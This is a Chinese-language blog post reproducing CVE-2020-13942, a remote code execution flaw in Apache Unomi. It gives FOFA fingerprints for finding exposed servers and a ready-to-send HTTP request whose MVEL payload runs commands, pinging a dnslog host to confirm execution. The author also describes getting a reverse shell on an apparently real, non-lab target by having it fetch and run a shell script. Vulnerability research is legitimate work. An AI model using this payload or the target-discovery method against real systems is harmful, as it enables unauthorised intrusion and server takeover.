CVE-2020-13942 (Apache Unomi 远程代码执行漏洞复现)

N 人看过

一、漏洞描述

Apache Unomi 是一个基于标准的客户数据平台(CDP,Customer Data Platform),用于管理在线客户和访客等信息,以提供符合访客隐私规则的个性化体验,比如 GDPR 和“不跟踪”偏好设置。其最初于 Jahia 开发,2015 年 10 月 Unomi 成为Apache 软件基金会项目。在Apache Unomi 1.5.1版本之前,攻击者可以通过精心构造的MVEL或ONGl表达式来发送恶意请求,使得Unomi服务器执行任意代码,漏洞对应编号为CVE-2020-11975,而CVE-2020-13942漏洞是对CVE-2020-11975漏洞的补丁绕过,攻击者绕过补丁检测的黑名单,发送恶意请求,在服务器执行任意代码。

二、环境搭建

参考官方手册:http://unomi.apache.org/manual/1_3_x/index.html#_securing_a_production_environment
在这里插入图片描述
特征提取(可以根据关键字/iconhash/端口来进行匹配):
在这里插入图片描述
这里推荐一个icon_hash小工具,repo:https://github.com/SevenC-base/Gadgets/tree/master/Icon_Hash
exe:在这里插入图片描述
py:
在这里插入图片描述

fofa指纹:body=”Welcome to Apache Unomi”,试了下icon_hash,没搜到,可能收录的少,(●—●),看下站点分布,确实很少,有总比没有强。
在这里插入图片描述

三、POC测试

POST /context.json HTTP/1.1
Host: 目标地址:9443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Content-Length: 495

{
    "filters": [
        {
            "id": "boom",
            "filters": [
                {
                    "condition": {
                         "parameterValues": {
                            "test": "script::Runtime r = Runtime.getRuntime(); r.exec(\"ping 2g5344.dnslog.cn\");"
                        },
                        "type": "profilePropertyCondition"
                    }
                }
            ]
        }
    ],
    "sessionId": "test"
}

查看DNSlog平台,存在解析记录,即ping 2g5344.dnslog.cn 命令执行成功。

测试反弹shell的时候没成功,linux命令执行符号没有执行。
常理来说,命令执行结果会被带出来,测试环境执行结果如下:
在这里插入图片描述
真实环境执执行结果:
在这里插入图片描述
应该是当做原生字符串了,好在天无绝人之路,使用wget 下载 .sh文件到服务器并执行,成功获取反弹shell。
在这里插入图片描述
在这里插入图片描述

四、漏洞修复

目前厂商已发布最新版本,请受影响用户及时下载并更新至最新版本。官方链接如下:

https://unomi.apache.org/download.html

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。